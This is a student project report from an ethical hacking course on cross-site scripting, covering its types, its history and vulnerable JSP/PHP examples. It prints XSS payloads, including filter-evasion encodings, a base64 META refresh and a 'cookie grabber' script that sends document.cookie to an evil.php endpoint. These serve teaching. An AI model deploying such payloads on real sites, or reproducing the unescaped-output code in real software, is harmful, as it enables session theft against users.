Project report on

Cross Site Scripting

July 9th,2018

Instructor:-Sir Noor Alam

Cyber Security and Ethical Hacking

Azure Skynet

By:-Adrian Clive Prasad

Email:wrathlustpride@gmail.com

Location:Bangalore

ACKNOWLEDGEMENT:

I would like to express our profound gratitude to our project guide Mr Noor Alam Sir and Azure Skynet Solutions Company for their support, encouragement, supervision, and useful suggestions throughout this project. Their moral support and continuous guidance enabled us to complete our work successfully

Introduction

Cross-site scripting (**XSS**) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007.[1] Bug bounty company HackerOne in 2017 reported that XSS is still a major threat vector. XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site's owner.

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as *https://mybank.example1.com*) is granted permission to access resources (like cookies etc.) on a browser, then content from any URL with the same URI scheme, host name, *and* port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately.

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been

delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a *reflected* or *non-persistent* XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter, Facebook, MySpace, YouTube and Orkut. Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks.

Types

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: *non-persistent* and *persistent*. Some sources further divide these two groups into *traditional* (caused by server-side code flaws) and DOM-*based* (in client-side code).

Reflected (non-persistent)

Example of a non-persistent XSS flaw

Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in.[12]

The *non-persistent* (or *reflected*) cross-site scripting vulnerability is by far the most basic type of web vulnerability.[13] These holes show up when the data provided by a web client, most commonly in HTTP query parameters (e.g. HTML form submission), is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to mark-up injection .A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim's browser to execute the injected script.

Persistent (or stored)

Example of a persistent XSS flaw

A persistent cross-zone scripting vulnerability coupled with a computer worm allowed execution of arbitrary code and listing of filesystem contents via a QuickTime movie on MySpace.

The *persistent* (or *stored*) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is

with online message boards where users are allowed to post HTML formatted messages for other users to read.

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody's real name and email. These are kept secret on the server. The only time a member's real name and email are in the browser is when the member is signed in, and they can't see anyone else's.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other people's browsers when **they** visit **her** profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your Ideal First Date", Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won't be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory's profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob's real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of client-side worm.

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web

application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

Server-side versus DOM-based vulnerabilities.

Example of a DOM-based XSS flaw
Before the bug was resolved, Bugzilla error pages were open to DOM-based XSS attacks in which arbitrary HTML and scripts could be injected using forced error messages.

Historically XSS vulnerabilities were first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub-class of reflected XSS attacks started to appear that was called DOM-*based cross-site scripting*. In a DOM-based XSS attack, the malicious data does not touch the web server. Rather, it is being reflected by the JavaScript code, fully on the client side.

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of JQuery plugins .Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input validation and escaping).Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example Angular.js.

Self-XSS

Self-XSS is a form of XSS vulnerability which relies on Social Engineering in order to trick the victim into executing malicious JavaScript code into their browser. Although it is technically not a true XSS vulnerability due

to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed.

Mutated XSS (Mxss)

Mutated XSS happens, when the attacker injects something that is seemingly safe, but rewritten and modified by the browser, while parsing the markup. This makes it extremely hard to detect or sanitize within the websites application logic. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.

XSS attacks may be conducted without using <script></script> tags. Other tags will do exactly the same thing, for example:

```
<body onload=alert('test1')>
```

or other attributes like: onmouseover, onerror.

onmouseover

```
<b onmouseover=alert('Wufff!')>click me!</b>
```

onerror

```
<img src="http://url.to.file.which/not.exist"
onerror=alert(document.cookie);>
```

XSS using Script Via Encoded URI Schemes

If we need to hide against web application filters we may try to encode string characters, e.g.: a=&#X41 (UTF-8) and use it in IMG tag:

```
<IMG SRC=j&#X41vascript:alert('test2')>
```

There are many different UTF-8 encoding notations what give us even more possibilities.

XSS using code encoding

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397

```
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGV
zdDMnKTwvc2NyaXB0Pg">
```

These and others examples can be found at the OWASP XSS Filter Evasion Cheat Sheet which is a true encyclopedia of the alternate XSS syntax attack.

Examples

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted website for the consumption of other valid users.

The most common example can be found in bulletin-board websites which provide web based mailing list-style functionality.

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

```
<% String eid = request.getParameter("eid"); %>
...
```

```
Employee ID: <%= eid %>
```

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially, this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

```
<%...
  Statement stmt = conn.createStatement();
  ResultSet rs = stmt.executeQuery("select * from emp where
id="+eid);
  if (rs != null) {
    rs.next();
    String name = rs.getString("name");
%>

Employee Name: <%= name %>
```

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with websites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

Attack Examples

Example 1: Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):

```
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
```

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

Error Page Example

Let's assume that we have an error page, which is handling requests for non-existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:

```
<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>
```

Let's see how it works:

```
http://testsite.test/file_which_not_exist
```

In response we get:

```
Not found: /file_which_not_exist
```

Now we will try to force the error page to include our code:

```
http://testsite.test/<script>alert("TEST");</script>
```

The result is:

```
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
```

We have successfully injected the code, our XSS!